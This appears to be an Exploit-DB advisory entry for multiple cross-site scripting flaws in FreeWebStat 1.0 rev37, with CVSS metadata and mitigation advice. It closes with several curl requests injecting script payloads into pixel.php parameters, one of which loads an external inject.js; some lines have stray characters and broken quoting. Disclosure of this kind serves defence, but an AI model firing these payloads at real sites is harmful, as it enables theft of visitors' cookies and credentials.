Multiple Cross-Site Scripting Vulnerabilities in FreeWebStat

vendor:

FreeWebStat

by:

5.5

CVSS

MEDIUM

Cross-Site Scripting (XSS)

CWE

Product Name: FreeWebStat

Affected Version From: 1.0 rev37

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

Multiple Cross-Site Scripting Vulnerabilities in FreeWebStat

The application fails to properly sanitize user-supplied input, leading to multiple XSS vulnerabilities. An attacker can execute arbitrary script code in the browser of a user visiting the affected site, potentially stealing authentication credentials and performing other attacks.

Mitigation:

Implement proper input validation and sanitization techniques to prevent XSS attacks. Encode user-supplied data before displaying it in web pages. Use a web application firewall to detect and block XSS attempts.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/15601/info

FreeWebStat is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks.

FreeWebStat version 1.0 rev37 is reported to affected; other versions may also be vulnerable.

curl "http://www.example.com/fws/pixel.php"
domain=<script>alert(1)</script>
&site=<script>alert(2)</script>
&jsref=<script>alert(3)</script>
&jsres=<script>alert(4)</script>
&jscolor=<script>alert(5)</script>?
-A "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.3))"
-e "http://www.example.com"

curl "http://www.example.com/fws/pixel.php"
domain=ush.it&site=aa&jsref=http://www.example.com&jsres=1337&jscolor=red?
-e "http://www.example.com/search?q=lello+splendor++&hl=it&lr=&start=
10&sa=N?
-A "Mozilla/4.0 (compatible; MSIE 6.0;Windows NT 5.1; SV1; (R1 1.3))"

curl "http://www.example.com/fws/pixel.php"
domain=www.example.com&site=aa&jsref=http://www.example.com&jsres=13
37&jscolor=red? -e "http://www.example.com"
-A "Mozilla/4.0(compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.3))"

curl "http://www.example.com/fws/pixel.php"
domain=<script>alert(1)</script>&site=
<script>alert(2)&jsref=</script><script>alert(3)</script>
&jsres=<script>alert(4)</script>&jscolor=
<script>alert(5)</script>?
-A "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.3))"
-e "http://www.example.com"


curl http://www.example.com/fws/pixel.php?site=
&jsres=&jscolor=&jsref=http://www.example.com/search?
q=ppoopp<script language=?javascript?-src=
"http://www.example.com/fws/inject.js?></script>&hl=it"